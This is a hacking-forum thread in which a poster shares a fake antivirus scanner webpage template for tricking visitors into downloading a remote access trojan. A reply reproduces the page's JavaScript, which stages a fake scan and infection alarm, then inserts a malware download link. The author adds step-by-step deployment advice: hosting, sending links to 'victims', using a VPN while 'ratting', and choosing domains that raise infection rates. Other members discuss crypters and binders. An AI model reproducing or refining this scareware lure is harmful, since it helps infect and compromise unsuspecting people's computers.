Thread: [\[FREE\]\[ANTIVIRUS WEBSITE TEMPLATE\]](#)

MisterSosa - April 10, 2014, 11:26 am

[img]http://s10.postimg.org/d2j6ot7ih/Capture.png[/img]

This is a website template, which u can edit easily and upload to a webhost like.

<http://www.SPAM.com>

When potential slaves visit this website, the website will "scan there computer"

After the "scan" is finished 19 antivirusses have found a virus on there computer !

Then a download link will appear where they can get a "free virus removal" (your RAT in this case ofcourse)

You can edit this easily using a text editor like Notepad++ , Dreamweaver.

If you cant set this up you can send me a PM and i will help you out.

Also, i know i have negative reputation. But don't worry.

The files you download for this "antivirus scanner" are just .html files and there is no way i could actually infect you.

Download [here](#)

Password for the .rar file is "mistersosaenjoy" without the quotation marks.

Scan on <http://www.virustotal.com> if u like

?

This is only meant for educational purposes, i am not responsible for anything illegal you do with this.

bzr? - April 10, 2014, 11:41 am

Thanks this looks like a good release, if a more trusted member would be kind enough to prove it's clean I would appreciate that very much.

MisterSosa - April 10, 2014, 11:48 am

There is nothing to execute so it can't be dirty or backdoored, you just rightclick on 1.html and open it with a text editor.

change the text a little include your download link

Save & upload to webhost !

temp_clawtionary - April 10, 2014, 12:46 pm

Thanks for the share man! Keep staying HQ

recoified - April 10, 2014, 3:00 pm

Thanks man! Hope it works! :D It cant be infected, its a .html file ..

IcYSeptember - April 10, 2014, 3:12 pm

I've thoroughly looked it over, it's clean. And I admit, this can be a very useful and successful social engineering technique.

grumpycat - April 10, 2014, 4:37 pm

Thanks for this!! i willl used :D it's good!

Calox - April 10, 2014, 8:09 pm

Nice template, and fairly straight forward to change. Thanks dude!

MisterSosa - April 10, 2014, 8:23 pm

enjoy it guys

happy spreading ^^

Also i am not responsible with anything illegal you do with this

amR1g - April 11, 2014, 1:38 pm

Thanks mate. I'm going to download this!

MickyCOB - April 11, 2014, 2:21 pm

Thanks alot for the share man easily edited in notepad++

s1r_n0z - April 11, 2014, 2:37 pm

Going to give it a try mate,thanks for sharing.

Vesta - April 11, 2014, 6:04 pm

Thanks this looks like a good release, if a more trusted member would be kind enough to prove it's clean I would appreciate that very much.

Ramditto - April 12, 2014, 2:01 am

Great upload! :D... Just opens up way more possiblities :)

Ok... so i realised this was in german or some language... For everyone who wants it in English... Just delete all the code in the html file and paste this-----

```
Code <html xmlns="http://www.w3.org/1999/xhtml">
```

```
<head>
```

```
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
```

```
<title>Scanning!</title>
```

```
<link href="style.css" rel="stylesheet" type="text/css" media="screen" />
```

```
<script language="javascript">
```

```
function randomFromTo(from,to)
```

```
{  
    var numb = Math.floor(Math.random() * (to - from + 1) + from);  
    return numb;  
}
```

```
function todayDate()
```

```
{
```

```

var d=new Date();
var YY=d.getFullYear().toString().substring(0,4)
d=d.toString().split(' ')
var DD=Number(d[2])<10?'0'+d[2]:d[2];
var MON=d[1].toUpperCase().replace(/,/g,"");
var todayDate=DD+'-'+MON+'-'+YY;
document.write('<div class="table-date">'+ todayDate +'</div>');
}

function start()
{
    var a1=[1,7,14,5,13,12,16,2,9,3,4,15,8,17,10,6,11];
    var a2=[15,12,7,3,16,5,4,8,11,10,13,9,1,2,6,14,17];
    var a3=[5,17,4,15,3,2,6,12,9,13,14,10,8,7,11,16,1];
    var a4=[3,7,14,6,1,10,17,5,11,16,4,9,2,15,12,8,13];
    var a5=[17,4,3,1,13,12,9,2,15,14,8,16,7,11,10,5,6];
    var a6=[8,9,7,6,14,15,2,3,4,11,12,13,5,17,10,1,16];
    var a7=[2,17,15,7,4,8,16,9,10,1,11,13,6,12,5,14,3];
    //func1();
    //func2();
    var t1=setTimeout("document.getElementById('status').innerHTML=' <b> <img
src=\"http://esendfast.com/images/av-loading22.gif\"> Scan Request.....</b>'",2500);
    var t2=setTimeout("document.getElementById('status').innerHTML='<b>Your computer is
infected with Spyware.</b>'",19500);
    var t2=setTimeout("document.getElementById('result1').innerHTML='Result: '",19700);
    var t2=setTimeout("document.getElementById('result2').innerHTML='<b><font
color=\"#FF0000\">ALARM Your Computer is INFECTED</font> Download the<span> virus
killer</span> </b>'",19700);
    var t2=setTimeout("document.getElementById('download').innerHTML='<a
href=\"yourlinkhere.com/\"><img src=\"images/download-button.png\" border=\"0\"></a>'",19700);

    for(var i=0;i<17;i++)
    {
        var t1=setTimeout("document.getElementById(\"'+a1[i]+'").innerHTML='<img
src=\"images/avloading.gif\" width=\"95\" height=\"10\">'",randomFromTo(2500,3500));
    }
    for(var i=0;i<17;i++)
    {
        var t1=setTimeout("document.getElementById(\"'+a1[i]+'").innerHTML='<div
class=\"found-nothing\">C:\\Win\\CTroSpy.exe </div>'",randomFromTo(6000,20000));
    }
}

window.onload = start;

</script>

</head>

<body>

MisterSosa - April 12, 2014, 7:09 am

language was in dutch, happy spreading guys.

Ramditto thanks for the english translation !

?Dødggygeez - April 12, 2014, 1:35 pm

Hey. This is a great template but I need some guidance!

The thing is, I can set this up but I need a little bit of help. Does anyone have any idea of how I can edit the code so that not ALL of the virus scans find viruses?

I want it random. For instance:
some find "C:\Win\TroSpy" (btw the /'s do not show up on page),
Some state "Nothing Found"
and maybe another finds a different virus?
like "backdoor:Win32.IRCBot"

Basically, I want to find a way so they show different outputs. It doesn't matter if it's random or I set them myself.

I do not know how to code in html (javascript) so I need some guidance. Hope someone can help xD

MisterSosa - April 14, 2014, 11:34 am

You can use this to easily spread your stub/server to dumb people ^^

M4reLIS - April 14, 2014, 2:39 pm

Thanks for share!! it's very good theard and thanks author. Maybe any one can do like this --->
Because very hard to see Download button; /

MisterSosa - April 15, 2014, 8:21 am

(Apr 14, 2014 02:39 PM)M4reLIS Wrote: [\[CITE\]](#) Thanks for share!! it's very good theard and thanks author. Maybe any one can do like this --->

Because very hard to see Download button; /

Maybe you could create another "Download" button using photoshop, then save it in the same folder

Remember to use the same size !

Also you could use this link if you don't have photoshop.

<https://www.google.nl/search?q=download&biw=1440&bih=799&tbm=isch&source=Int&tbs=isz:ex,isz:145,iszh:28&sa=X&ei=SE5NU9O1HcfJPdjKgbgP&ved=0CCcQpwUoBQ>

??

Joy - April 15, 2014, 8:26 am

Thanks for this bro. Can you help me set it up :)

M4reLIS - April 15, 2014, 12:30 pm

when i put new button i get this... [img]http://fastmoneydealers.com/Untitled.jpg[/img]

MisterSosa - April 15, 2014, 8:58 pm

(Apr 15, 2014 12:30 PM)M4reLIS Wrote: [\[CITE\]](#) when i put new button i get this...

[img]http://fastmoneydealers.com/Untitled.jpg[/img]

Don't forget to use the same name and extension, and ofcourse put it in the img folder

download-button.png

Guys you should also check WingTsun spreading pages

I recommend these for the more advanced spreaders

<https://hackforums.net/showthread.php?tid=4094058>

? Eugtique ? - April 16, 2014, 3:02 pm

Thanks for this :) downloaded. Modifying now :3

SoupKitchen - April 16, 2014, 4:23 pm

Very interesting, thank you for the share - appreciate it, man.

MisterSosa - April 19, 2014, 5:46 am

Enjoy it man, happy spreading ^^

Don't forget to use a VPN when u are ratting

MisterSosa - May 20, 2014, 7:44 am

Guys as again, im not responsible for anything illegal you do with this.

Kify - May 20, 2014, 2:10 pm

It's Dutch ? Thanks for the tip ?

finniebox - May 24, 2014, 10:19 am

How can i put this on my site? sorry for noob question i am new to 000 webhost

Bonifate - May 24, 2014, 10:26 am

Thanks for this, I think it will help many people out!

ramonski8 - May 24, 2014, 12:38 pm

Thank you very much. Great job on making this.

MisterSosa - May 25, 2014, 8:56 am

You upload this to your public_html folder using [FTP](#), or the filemanager from SPAM.

index.html -> this is your main page.

Replace the [DIRECT DOWNLOAD link](#) in your index.html and send your 000webhostlink to your victim.

?

MisterSosa - May 29, 2014, 11:46 am

If you want to get more succes on infecting, go look for free domain registrar on google for example - <http://www.2ya.com> or <http://nl.ae>

Nindo - May 29, 2014, 11:47 am

Hmm this looks realy nice,

Als je nederlands bent nice man ik ga het testen

Ja man ben nederlander (sorry for dutch language)

Yes i'm dutch

GanDino - May 29, 2014, 4:34 pm

This template is very funny. I tried it out and it works like a charm.

There are only two things which makes this a little bit suspicious:

1. The site just starts scanning without anything. Better would be if the scan starts after you press a button. But this I can figure out myself.

2. When I am addressing the page to my file, everything is seems to be fine. Just what I need is something like a little program which does something like a fake removal from something, or at least shows some working on it. I would like to hear anybody who has something like that to bind actually the "file" with it together.

Besides from that it's a great idea to fool pple. I like that idea very much.

Thanks, you should check out the cryptography section. There are alot of crypters that support file binders.??

Zher0 - May 30, 2014, 9:56 am

Thank you, I can have some fun with this.

API-Down - May 30, 2014, 10:58 am

Is this written by you, Or is this a leak?

Jamylinn1987 - June 1, 2014, 4:19 am

thx for sharing man. happy spreading

Spaz75 - June 1, 2014, 4:47 am

It's awesome for spreading :) Great share Thank you
